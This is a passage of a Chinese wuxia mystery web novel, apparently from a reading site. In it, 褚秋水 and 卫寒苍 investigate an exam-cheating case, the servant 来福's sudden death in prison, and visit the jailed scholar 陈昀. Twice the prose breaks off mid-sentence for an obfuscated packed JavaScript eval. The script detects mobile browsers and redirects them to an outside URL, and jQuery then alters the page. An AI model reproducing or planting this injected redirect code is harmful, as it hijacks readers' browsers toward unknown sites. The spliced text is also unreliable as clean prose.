江远回忆着,手指无意识地摩挲着书脊:“像是……高兴,又像是紧张。高兴的时候嘴角往上翘,紧张的时候又往下压,两种表情同时出现在一张脸上,看着特别拧巴。” “我问他是谁,他没说,只说是‘贵人’。” 贵人。褚秋水在心里记下这个词。她想起谢云卿那个“我信他”的眼神,又想起那个绸衫青年阴冷的背影,还有那个“贵人”。 “后来呢?” “后来就没有了。”江远说,“再后来他就出事了。” 他低下头,声音有些闷。阳光透过树叶的缝隙落在他身上,斑斑驳驳的,像是什么东西碎了一地。 “陈昀虽然狂,但他真的有才。他要是没出事,今年肯定能中。他备考的那些文章我都看过,每一篇都是上上之作。他根本不需要舞弊。” 褚秋水又问了几句,没问出更多线索,便谢过江远,放他走了。 江远走了两步,忽然又回过头来。 “褚姑娘,”他说,目光认真得像是在发誓,“陈昀不会舞弊。我以我十年的读书人的名声担保。” 说完他就走了,青衫的影子消失在街角。 褚秋水和卫寒苍站在街边,沉默了一会儿。 “贵人。”卫寒苍说,把瓜子壳吐在地上。 “嗯。” “穿着体面,当官的。” “嗯。” “考前第三天。” “嗯。” 褚秋水看着她,等着她往下说。 “你觉得是那个人透的题?”卫寒苍问。 褚秋水想了想:“有可能。但如果是那个人透的题,那陷害陈昀的人,又是谁?” 卫寒苍没说话,只是把最后一颗瓜子嗑完,拍拍手。 “再去福运茶楼看看。”褚秋水说,“那边三教九流的人多,说不定能听到什么。” 两人又往福运茶楼走去。路上,褚秋水把今天的事在脑子里过了一遍。陈昀考前见了一个“贵人”,回来之后心情大好,说“快了”。然后他就被抓了,家里搜出了试题,小厮来福也被抓了。 线索不少,但连不起来。像是一把散落的珠子,缺一根线把它们串起来。 福运茶楼比集贤居热闹得多。说书先生正站在台上讲得唾沫横飞,讲的又是苏眦古国的故事——这回讲到盗圣大战三百信徒了。褚秋水听了两句,嘴角抽了抽,拉着卫寒苍找了个角落坐下。 这次她没心思听说书,注意力全在周围的茶客身上。 旁边那桌坐着几个商人打扮的人,正在聊生意经。前面那桌是两个老者在喝茶下棋,棋盘上的厮杀比台上的故事还精彩。斜对面那桌坐着几个年轻人,其中一个穿绸衫的,正在高谈阔论,声音不大不小,刚好够旁边的人听见。 “……我跟你们说,陈昀这事,没那么简单。” 褚秋水的耳朵竖了起来,比兔子还灵。 “怎么说?” “陈昀得罪的人多了去了。他那个脾气,考前还到处说‘必中’,这不是打人脸吗?多少人等着看他笑话呢。你没看见那天他那副嘴脸,‘区区秋闱,何足挂齿’——啧啧,这话传出去,不得罪人才怪。” “你是说,有人故意整他?” “那可不。”绸衫青年压低声音,四下看了看,像是怕隔墙有耳,“我听说啊,这次的主考官是周延周大人。周大人最喜欢收门生,陈昀是谢云卿的人,周大人能待见他?” 旁边的人倒吸一口凉气,像是听到了什么了不得的秘密。 “你是说……周大人……” “我可什么都没说。”绸衫青年端起茶杯,笑了笑,那笑容里带着一种“你们都懂”的意味深长,“喝茶喝茶。” 褚秋水的眉头皱得更紧了。 周延。她记下这个名字。 又坐了一会儿,没听到更多有用的消息。两人结了茶钱,出了茶楼。 天色已经不早了,夕阳把半边天染成了橘红色,像是被人泼了一盆颜料。街上的人渐渐少了,店铺开始上门板,一天的喧嚣正在退潮。 “回去?”卫寒苍问,打了个小小的哈欠。 褚秋水点点头。 两人往谢府的方向走。一路上,褚秋水都没说话,脑子里全是今天听到的那些话——陈昀的“贵人”,江远的惋惜,绸衫青年的暗示。这些碎片在她脑海里转来转去,像是拼图,但总差那么几块。 “你觉得那个周延有问题?”卫寒苍问,打破了沉默。 “不知道。”褚秋水说,“但值得查一查。” “怎么查?” 褚秋水想了想:“先回去问问老师。” 两人加快了脚步。 —— 回到谢府,天已经擦黑了。管家说谢云卿在书房等她们,晚饭都没吃,一直在等。 书房里点着灯,谢云卿坐在书案前,面前的茶早就凉了,一口没动。他的影子被烛光投在墙上,佝偻着,像一座即将倾塌的山。 “查到了什么?”他问,声音沙哑。 褚秋水把江远的话和茶楼里听到的消息说了一遍,唯独没提周延的事——她怕老师担心,也怕自己猜错了。有些话,没有证据之前,不能乱说。 谢云卿听完,沉默了很久。久到褚秋水以为他不会再开口了。 “那个‘贵人’,”他终于开口,“不是我。” “我知道。”褚秋水说。 谢云卿看着她,目光里有一丝复杂的东西。那眼神里藏着什么,褚秋水看不太懂,但她知道那不是什么坏事。 “秋水,”他说,“这件事可能比你想的要复杂。如果查不下去……” “查得下去。”褚秋水打断他,声音很轻,但很坚定,“老师,我答应过的事,就一定会做到。” 谢云卿愣了一下,然后笑了。 那笑容很淡,但确实是笑了。是那种看见自己种下的树终于开了花的笑。 “好。”他说,“那你去查。有什么事,随时来找我。” —— 晚上,两人回到那个只有一张床的小院。 褚秋水坐在椅子上,把今天的事从头到尾想了一遍。陈昀的“贵人”,来福被抓,周延的传闻——每一个都像是线索,每一个又都像是死胡同。她越想越乱,脑子里像有一群蜜蜂在嗡嗡叫。 她干脆不想了。 一抬头,发现卫寒苍正坐在铜镜前,往脸上抹着什么。烛光下,那张脸白乎乎的,像糊了一层浆糊,只有两只眼睛还露在外面,亮晶晶的。 “你又在干嘛?” “敷面。”卫寒苍头也不回,手指在脸上画圈圈,“今天在外面跑了一天,脸都干了。” 褚秋水凑过去看了看,那玩意儿白白的,抹在脸上像糊了一层浆糊,还散发着一股说不清的香味。 “这能有什么用?” “补水。”卫寒苍的语气像是在跟一个三岁小孩解释一加一等于几。 “水?”褚秋水更不懂了,“缺水喝水不就行了?” 卫寒苍从镜子里瞥她一眼,那眼神仿佛在说“我跟你说不清楚”。褚秋水讪讪地坐回去。 过了一会儿,卫寒苍敷完面,洗了脸,又往脸上抹了一层香喷喷的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371618|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这次是透明的,带着淡淡的花香。 “这又是什么?” “晚霜。”卫寒苍说,“睡前用的。” 褚秋水闻了闻那香味,还挺好闻的。是那种淡淡的、不张扬的味道,像卫寒苍这个人——等等,她在想什么? “你每天都这么折腾,不累吗?”她赶紧转移话题。 “累。”卫寒苍说,“但累也得弄。” “为什么?” 卫寒苍从镜子里看了她一眼。烛光下,那双桃花眼亮得惊人。 “因为好看。” 褚秋水愣了一下,然后笑了。 “你本来就挺好看的。” 卫寒苍的手顿了顿。 她没回头,只是从镜子里看着她。那目光里,有一点说不清的东西——像是不好意思,又像是开心,还像是“你终于发现了”的得意。 “真的?”她问,声音比平时轻了一点。 “真的。”褚秋水老老实实地说,完全没意识到这句话的分量。 卫寒苍低下头,继续往脸上抹东西。 但褚秋水注意到,她的耳尖红了。红得像天边的晚霞。 窗外,月亮挂在半空,清冷冷的。月光透过窗纸洒进来,在地上铺了一层银霜。 两人洗漱完毕,躺到床上。还是中间隔着一条胳膊的距离。但那条胳膊的距离,好像比以前短了一点。 褚秋水盯着帐顶,脑子里还在想那些事。 “寒苍。” “嗯?” “你说,陈昀到底有没有舞弊?” 卫寒苍沉默了一会儿。床铺微微晃动,他翻了个身,面向她。 “不知道。”她说,声音在黑暗中显得格外清晰,“但我觉得,那个来福有问题。” “为什么?” “他被抓的时候,太安静了。”卫寒苍说,“今天在茶馆,那些人议论的时候你没注意?来福是在谢府里被抓的,当场搜出试题。按理说,他应该大喊冤枉才对。可谁都没听见他喊。” 褚秋水想了想,好像是有点奇怪。 “你是说……他是自愿顶罪的?” “有可能。”卫寒苍的声音里带着一种笃定,“而且指使他的人,一定是他非常信任的人。不然谁会自愿去坐牢?” 褚秋水翻了个身,面向她。黑暗中,看不清彼此的脸,只能看见一个模糊的轮廓,和那双亮亮的眼睛。 “那谁让他顶罪的?” 黑暗中,卫寒苍的眼睛亮亮的,像是两颗星星。 “你说呢?” 褚秋水的心沉了沉。 两人都沉默了。只有窗外的虫鸣声,一声接一声,像是在替她们叹气。 过了很久,卫寒苍忽然伸手,握住她的手。那只手有点凉,但很稳。 “别想太多,”她说,声音难得温柔,“明天接着查。” 褚秋水握紧那只手。 “好。” 窗外的月光透过窗纸照进来,在地上投下淡淡的银光。 这一夜,她做了很多梦。梦里全是陈昀的眼神——那种“我问心无愧”的眼神,和老师那个“我信他”的眼神。两个眼神在梦里转啊转,怎么也停不下来。 —— 第二天一早,褚秋水被一阵急促的敲门声惊醒。 “褚姑娘!褚姑娘!” 是管家的声音,急得像热锅上的蚂蚁。 她爬起来,披上外衣,光着脚跑去开门。卫寒苍也醒了,揉着眼睛坐起来,头发乱得像鸟窝。 管家站在门口,脸色比昨天更难看了。那张脸上,连装出来的镇定都没有了。 “出事了,”他说,声音都在发抖,“来福……死在牢里了。” 褚秋水的心猛地一沉。 像是有什么东西,在最深的地方,塌了一块。 24. 来福 褚秋水披着外衣冲到前厅的时候,谢云卿已经在那儿了。 他坐在太师椅上,手里捏着一封信,脸色灰败得像一堵年久失修的墙,仿佛轻轻一碰就要掉渣。看见褚秋水进来,他抬起眼,眼神有些疲惫。 “老师,”褚秋水快步上前,“来福怎么了?” 谢云卿把信递给她。手在微微发抖,信纸也跟着抖,发出细碎的沙沙声。 信很短,就几行字,犯人来福,昨夜突发急病,医治无效,今晨殒命。仵作验过,确系病死,无可疑之处。 褚秋水看完,眉头皱得像拧紧的麻花。 “突发急病?”她说,声音不自觉地拔高了,“昨天被抓的时候还好好的,今天就死了?” 谢云卿没有说话。他坐在那里,像一尊被遗忘在角落的雕像,连呼吸都轻得听不见。 卫寒苍不知什么时候也来了,站在门口,斜倚着门框,手里还端着一杯不知道从哪儿顺来的茶。 她慢悠悠地喝了一口,然后慢悠悠地开口:“牢里的急病,一般都来得挺及时的。” 谢云卿抬起头,看了他一眼。那目光里没有责怪,只有一种无奈。 褚秋水把信拍在桌上,啪的一声脆响,把旁边架子上的花瓶都震得晃了晃。 “老师,我不信这是意外。” 谢云卿沉默了几秒,然后站起来。他站起来的动作很慢,仿佛一下子老了许多。 “我也不信。”他说,走到窗前,背对着她们。窗外的阳光照进来,把他的影子拉得很长很长,“但现在死无对证,陈昀的罪名又加了一条——指使下人藏匿试题,事败后杀人灭口。” 他顿了顿,声音更低了,低得像是在跟自己说话。 “秋水,你知道吗?今天早上已经有三个言官上折子弹劾我了。” 褚秋水的心沉了沉,像是被人按进了一池冷水里。 “弹劾什么?” “结党营私,培植门生,包庇舞弊。”谢云卿的声音很平静,平静得不像是在说自己,倒像是在念一份别人的罪状书。“如果陈昀的罪名坐实,我这一辈子的名声,就全完了。” 褚秋水看着他佝偻的背影。这是教她练剑的老师,是五十年前的天下第一剑,闻名天下。 可现在,他只是一个佝偻老人。他的背影瘦削、孤单,像一棵被风吹歪的老树,随时都会倒下。 “老师,”她走上前,站在他身后,声音不大但很坚定,“让我去见陈昀。” 谢云卿转过头。 “你见不到。刑部不许任何人探视。” “那就不让他们知道。”褚秋水说,“我有办法。” 谢云卿看着她,沉默了一会儿。那双眼睛里,有担心,有犹豫,也有一丝隐隐的希望。 他看了褚秋水许久,随后轻轻笑了。 “你跟你师傅一个样。”他说,“都是不撞南墙不回头的主儿。” 他从袖子里取出一块令牌,递给她。令牌是青铜的,巴掌大小,正面刻着一个“刑”字,背面刻着一行小字——褚秋水接过来看了看,是刑部侍郎的官印。 “这是刑部侍郎的令牌,我托人弄来的。拿着它,或许能混进去。” 褚秋水接过令牌,忽然觉得有点烫手。 “老师放心,”她说,把令牌攥紧,“我一定查清楚。” 谢云卿点点头,又看了卫寒苍一眼。 “你这位朋友,最好别去。” 卫寒苍挑眉,把茶杯往桌上一搁,发出不轻不重的一声响。“为什么?” “刑部的人认得你。”谢云卿说,目光平静,“昨天你在茶馆露了面,已经有人注意到你了。” 卫寒苍愣了一下。她在大内游走过的事不是什么秘密,此次回京,必然会被刑部注意到。只是没想到,谢云卿已然认出她却没拆穿她的身份。 “谢大人好眼力。” 谢云卿没说话,只是摆了摆手。 “去吧。小心点。” 从谢府出来,褚秋水一个人往刑部大牢的方向走。 卫寒苍被留在府里,满脸不高兴地回了那个只有一张床的小院。临走的时候还嘟囔了一句“什么破地方,连门都不让出”,语气委屈得像一只被关在笼子里的猫。 褚秋水其实也有点不习惯,她一个人走路,没人说话,总觉得少了点什么。耳边少了卫寒苍絮絮叨叨的声音,身边少了那股若有若无的胭脂香,连脚步都觉得轻飘飘的,不踏实。 但老师说得对,刑部的人既然注意到卫寒苍了,为了她的安全,她就不能再露面。 她攥紧袖子里的令牌,加快脚步。 刑部大牢比她想象的要大。 青灰色的高墙,黑漆漆的铁门,门口站着四个腰挎大刀的官兵,一个个面无表情,像四尊门神。 门上还挂着一块匾额,写着“天理昭彰”四个字,褚秋水抬头看了一眼,就低下头快步走过了。 她深吸一口气,走上前。 “站住!”为首的官兵伸手拦住她,声音粗粝得像砂纸磨石头,“干什么的?” 褚秋水把令牌递过去,动作尽量自然,手心却在冒汗。 那官兵接过来看了看,脸色微微变了变,上下打量她一眼。那目光从她脸上扫到背上,又从背上扫到腰间,最后落在她身后那把裹着布的大剑上。 “你是侍郎大人的人?” “……嗯。”褚秋水点头,尽量让自己的声音听起来理直气壮。 官兵又看了她一眼,那目光里带着一点审视,一点狐疑。 但令牌是真的,青铜的质地,刻字的工艺,背后的官印,都是真的。他不敢拦。 “进去吧。”他把令牌还给她,往身后一指,“直走到底,右转,陈昀在天字三号房。” 褚秋水点点头,大步走进门去。 身后传来官兵压低声音的议论,以为她听不见。 “侍郎的人?怎么这么年轻?” “管他呢,令牌是真的就行。就算是假的,那也是侍郎的事,跟咱们没关系。” 褚秋水假装没听见,继续往里走。 牢里的光线很暗,只有几盏油灯挂在墙上,忽明忽暗地照着那些铁栅栏。火光一跳一跳的,把影子投在地上,扭曲成各种奇怪的形状,像一群无声的鬼魅在跳舞。 空气里弥漫着一股霉味、血腥味,还有别的什么说不清的味道。地上铺着潮湿的稻草,踩上去软绵绵的,让人心里发毛。每走一步,都能听见脚下传来细碎的窸窣声——不知道是老鼠在跑,还是稻草下面藏着什么别的东西。 褚秋水走过一间又一间牢房。里面的犯人有的躺着,有的坐着,有的趴在栅栏上,用一双双空洞的眼睛看着她。那些眼睛里没有光,没有神,只有一种麻木的、认命的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371619|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她加快脚步。 走到尽头,右转,天字三号房。 陈昀坐在角落里,背靠着墙,闭着眼睛。墙上有一扇小窗,透进来一线惨白的光,正好落在他身上。 他身上的衣服还是昨天那件月白色长袍,但已经脏得不成样子,领口袖口都是灰,前襟上还有几块暗色的污渍。头发散乱地披下来,遮住了半边脸。脸上沾着灰,嘴角还有一块淤青,青紫色的,肿得老高。 褚秋水的眉头皱了起来。 动过刑了。 她走到栅栏前,轻声开口。 “陈昀。” 陈昀睁开眼睛。 他看了她一眼,愣了一下。那双眼睛有困惑,也有惊讶。 “是老师让你来的?” 褚秋水点点头。 陈昀站起来,走到栅栏前。他的动作很慢,每一步都像是用了全身的力气,但他没有扶墙,没有靠栅栏,就那么硬撑着走过来。 近距离看,他比昨天憔悴多了。眼睛里有血丝,嘴唇干裂起皮,整个人像是被抽走了精气神,只剩一副骨架在撑着。 但他看人的眼神还是那样,直直的,坦坦荡荡的,像一把没出鞘的剑,还没被人折断。 “姑娘怎么称呼?” “褚秋水。” “褚姑娘。”陈昀点点头,“老师还好吗?” 褚秋水看着他,心里忽然有点复杂。这人被关在牢里,被打成这副模样,第一句话问的居然是老师好不好。 “他不太好。”她实话实说,“有人弹劾他。” 陈昀沉默了一瞬。那沉默很短,但褚秋水看见他眼里的光暗了一下,像是被风吹灭的烛火。 然后他低下头,看着自己手上的镣铐。那镣铐很重,把他的手腕磨出了血痕,红通通的,触目惊心。 “是我连累他了。” 褚秋水没接话。她不是不会安慰人,是觉得这个时候说什么都没用。安慰的话太轻了,压不住这牢里的重量。 她换了个话题。 “你到底有没有舞弊?” 陈昀抬起头,看着她。 那目光里,有一种说不清的东西。有愤怒,有委屈,更是一种不甘。 “我说没有,你信吗?” 褚秋水想了想,老老实实地说:“信不信的,得看证据。” 陈昀愣了一下,然后笑了。那笑容比刚才真诚多了,不再苦涩。 “你这人倒是有意思。”他说,靠着栅栏,像是在跟老朋友聊天,“别人来问,都是‘你快说你没做’,你倒好,‘得看证据’。” 褚秋水没理他这茬,继续问:“那试题是怎么回事?” 陈昀的脸色沉了下去。那变化很快,快得像卫寒苍挑选胭脂。 “我不知道。”他说,声音低了下去,“来福说是我让他藏的,可我从没让他藏过什么东西。来福跟了我五年,我把他当兄弟,他……” 他说不下去了。 “来福死了。” 陈昀猛地抬头。 “什么?” “昨晚,死在牢里。”褚秋水看着他,一字一句地说,“仵作说是急病。” 陈昀的脸色瞬间变得惨白。 他张了张嘴,想说什么,却什么都没说出来。他的嘴唇在发抖,手指在发抖,整个人都在发抖,像是被什么东西从里面击溃了。